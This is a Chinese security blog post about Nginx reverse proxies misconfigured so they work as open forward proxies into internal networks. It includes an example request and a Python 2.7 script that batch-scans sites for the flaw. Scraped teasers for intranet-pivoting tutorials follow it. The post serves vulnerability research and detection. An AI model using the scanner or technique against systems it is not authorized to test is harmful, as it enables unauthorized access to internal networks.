刺透内网的HTTP代理
从偶然出发
在做测试的时候发现了这样一个漏洞,原请求报文如下:
GET / HTTP/1.1
Host: attack_website
[... HEADER ...]
...
当时最初目的是想测SSRF的,但是经过测试没发现存在漏洞后来想起之前看过的一些漏洞案例,将请求报文中的URI部分替换成了网址:
就变成了如下的请求:
GET http://gh0st.cn HTTP/1.1
Host: attack_website
[... HEADER ...]
...
在BurpSuite里进行重放测试发现返回的响应正文就是http://gh0st.cn 的,也就是说这里的attack_website可以被作为HTTP代理,于是进入下一步的测试能否使用非http/https协议进行请求?例如file:/// ,测试后发现确实没办法这样玩,看来是这里代理服务器不支持。
在这里替换URI部分为内网的地址,可以直接漫游内网的系统,进行深入的渗透测试了,后续的事情就不在这多说了,那么来研究看看为什么会有这样的问题呢?
从被动偶然到主动发现
了解原理
查阅了一番资料和询问了一下朋友,都说具体的不太清楚,后来看见这样一篇文章:
https://www.secpulse.com/archives/74676.html
其中所说原理大致是因为Nginx反向代理配置不当导致可以被作为正向代理,导致能被外部作为HTTP代理服务器。
正向代理 and 反向代理
正向代理
- 浏览器(/全局)设置代理服务器IP和对应端口
- 浏览器输入目标地址->代理服务器->目标服务器
简而言之,正向代理类似我们经常用到的跳板机,利用代理去访问外部的资源。

反向代理
跟正代不同的地方在于反向代理相对浏览器来说是透明的,不需要在浏览器(/全局)做什么配置,而是有反向代理服务器自己做请求转发到其服务器上所配置的地址。
大致如下的流程:
- 浏览器访问网站(网站所指即反向代理服务器)
- 网站(反向代理服务器)做处理,将请求转发给所设置的目标服务器
- 由请求最终到达的目标服务器响应给网站(反向代理服务器),然后再通过其返回给浏览器

TIPs:
- 一、反向代理服务器也可以变成WAF(例如Nginx支持反代功能,nginx+lua也可以搭建网站waf)
- 二、反向代理服务器也可以起到负载均衡的作用,由反向代理服务器做选择分配Web服务器
主动发现脚本开发
脚本语言选择:python2.7
系统环境:all
思考
如何判断这个网站存在可以作为HTTP代理访问资源?唯一特征是什么?
脑子中唯一的思路就是IP,如果这目标站点能作为HTTP代理访问资源,那么我设置的这个资源就是返回真实IP的,这样就可以判断了~
这里我在团队官网上小小的写了一个,但是在大批量去测试却无法使用,因为官网的空间没那么大的吞吐量,承载不住高并发,后期建议大家使用 http://httpbin.org/ip 这个接口~
http://www.hi-ourlife.com/getip.php
PHP代码:
<?php
echo $_SERVER['REMOTE_ADDR'];
?>
代码构建
Import 库
import urllib, sys, re, json
全局变量:
poc = "http://www.hi-ourlife.com/getip.php"
获取使用代理访问资源后内容(IP)函数:
def useProxy(site):
try:
res = urllib.urlopen(poc, proxies={'http': site}).read()
return res
except:
return getIP()
正常本机获取IP函数:
def getIP():
res = urllib.urlopen(poc).read()
return res
防止有些会出错返回的内容不是IP,其实返回不是IP也就间接证明不存在这种漏洞,所以需要写个正则来匹配,这时候判断是否是IP的函数就诞生了:
def isIP(ip):
compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if compileIP.match(ip):
return True
else:
return False
对比IP函数:
def isVul(site):
resA = getIP()
#print resA
resB = useProxy(site)
#print resB
if resA == resB or not isIP(resB):
print "\033[1;33m[INFO]\033[0m No Vulnerability!"
else:
print "\033[1;31m[INFO]\033[0m Existing Vulnerability!"
print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)
单线程批量
从扫描器里把代码模板剥离了出来如下:
#-*- coding:utf-8 -*-
#Author: Vulkey_Chen
import urllib, sys, re, json
poc = "http://www.hi-ourlife.com/getip.php"
def useProxy(site):
try:
res = urllib.urlopen(poc, proxies={'http': site}).read()
return res
except:
return getIP()
def getIP():
res = urllib.urlopen(poc).read()
return res
def getSite(filename):
f = open(filename)
res = []
for line in f:
res.append(line)
return res
def isIP(ip):
compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if compileIP.match(ip):
return True
else:
return False
def isVul(site):
resA = getIP()
#print resA
resB = useProxy(site)
#print resB
if resA == resB or not isIP(resB):
print "\033[1;33m[INFO]\033[0m No Vulnerability!"
else:
print "\033[1;31m[INFO]\033[0m Existing Vulnerability!"
print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)
def main(filename):
for i in getSite(filename):
isVul(i.replace("\n",""))
if __name__ == '__main__':
main(sys.argv[1])

END
使用方法:python proxy_vul.py urls.txt
urls.txt 格式:
http://www.hi-ourlife.com/
https://gh0st.cn/
http://mst.hi-ourlife.com:8080/
建议批量方法:
扫描所有想检测站点的web服务端口(Nginx容器存在此类问题居多),然后使用脚本检测。
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
刺透内网的HTTP代理的更多相关文章
- 内网渗透_win_socks代理_reGeorg+proxifier
遇到内网windows机器,如果想远程登陆,通常得通过代理,常用的nc.lcx 工具可满足要求. 如 lcx 示例: 两台机器上均上传lcx.exe 在 xp机器(公网)上执行 lcx.exe -li ...
- 内网渗透_linux_socks代理_reGeorg+proxychains
过程演示 测试前提是目标服务器已经getshell. 1.将 reGeorgSocksProxy 中的 tunnel.jsp 文件放置到目标服务器web目录,查看能否正常访问(如图). 2.设置kal ...
- windows系统下hosts文件的改写(为了测试nginx内网的证书代理,需要做域名解析)
1. win加R C:\WINDOWS\system32\drivers\etc 2.打开hosts文件 加入一行 IP为客户机要访问的IP地址 域名也是在nginx中定义好的 3.ct ...
- 通过SOCKS代理渗透整个内网
https://blog.csdn.net/SouthWind0/article/details/83111044 通过SOCKS代理渗透整个内网 1.背景 经过前期的渗透工作,我们现在已经成功找到了 ...
- 传输层 lcx实现本地端口映射&&内网代理
如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的端口(例如53),在目标主机上执行如下命令,就可以直接从远程桌面连接目标主 ...
- Apache 2.4.7在CentOS6.4中安装配置反向代理解决单外网IP对应多个内网主机的方法实践
欢迎转载,转载时请保留全文及出处. Apache 2.4.7在CentOS6.4中安装配置反向代理解决单外网IP对应多个内网主机的方法实践 Apache安装 下载源程序(http://httpd.ap ...
- [转]用apache反向代理解决单外网ip对应内网多个web主机的问题
用apache反向代理解决单外网ip对应内网多个web主机的问题 转载一个有独立外网IP,需内网服务器对外发布的例子,是应用apache虚拟主机的. 来源地址:http://www.itshantou ...
- 利用ssh反向代理以及autossh实现从外网连接内网服务器
前言 最近遇到这样一个问题,我在实验室架设了一台服务器,给师弟或者小伙伴练习Linux用,然后平时在实验室这边直接连接是没有问题的,都是内网嘛.但是回到宿舍问题出来了,使用校园网的童鞋还是能连接上,使 ...
- 代理内网上网-iptables
代理内网上网-iptables 1.1 环境说明 主机A:(能上网) ip:内172.16.1.7/24 外10.0.0.7/24 系统CentOS 6.9 主机B:(不能上网) ip:内172.16 ...
随机推荐
- 51单片机学习笔记(清翔版)(13)——LED点阵、74HC595
如图3,点阵屏分单色和彩色,点阵屏是由许多点组成的,在一个点上,只有一颗一种颜色的灯珠,这就是单色点阵屏,彩色的在一个点上有三颗灯珠,分别是RGB三原色. 图4你可能没看出来,那么大块黄色的就是点阵屏 ...
- UML图之时序图
时序图(Sequence Diagram)是显示对象之间交互的图,这些对象是按时间顺序排列的.顺序图中显示的是参与交互的对象及其对象之间消息交互的顺序.时序图中包括的建模元素主要有:角色(Actor) ...
- http/2.0与http/1.1的区别
http/2是http协议自1999年http1.1发布后的首个更新 主要基于SPDY协议 2.0 采用二进制 而不是文本格式 完全多路复用 而不是有序并阻塞的 只需要一个连接即可实现并行 使 ...
- selenium之 chromedriver与chrome版本映射表(更新至v2.46)
chromedriver版本 支持的Chrome版本 v2.46 v71-73 v2.45 v70-72 v2.44 v69-71 v2.43 v69-71 v2.42 v68-70 v2.41 v6 ...
- [原]Webpack 3 + AngularJS1.* + Bootstrap 4 + Mapbox-gl
直接上步骤 一.创建项目 1. 使用VSCode建立项目目录结构如下: 文档结构 wabg ├── http │ ├── app.js │ ├── controllers │ │ └── index. ...
- vuex中store保存的数据,刷新页面会清空
用vuex,项目中需要记录一些状态,来判断页面是否为登录状态和页面是否可被编辑,此时用到了vuex中的store来存储一个状态. //首先 安装vuex npm install vuex --save ...
- break 和continue在循环中起到的作用
break语句的作用是终止当前循环,跳出循环体.主意,break只能跳出一层循环. continue语句的作用是终止本轮循环并开始下一轮循环,(这里要主意的是在开始下一轮循环之前,会先测试循环条件). ...
- 解决Tomcat version 7.0 only supports J2EE 1.2, 1.3, 1.4, and Java EE 5 and 6 Web modules
1.在eclipse的workspace里面找到该项目.settings文件夹 2.编辑org.eclipse.wst.common.project.facet.core.xml文件 <?xml ...
- MySQL开发设计规范
1.库命名规则:dbname_suffix,分为_dev/_test/_pre/_mertest/_perf/_prod六个环境 2.适度反范式设计,冗余表字段数据减少JOIN关联提高访问效率 3.普 ...
- servlet运行原理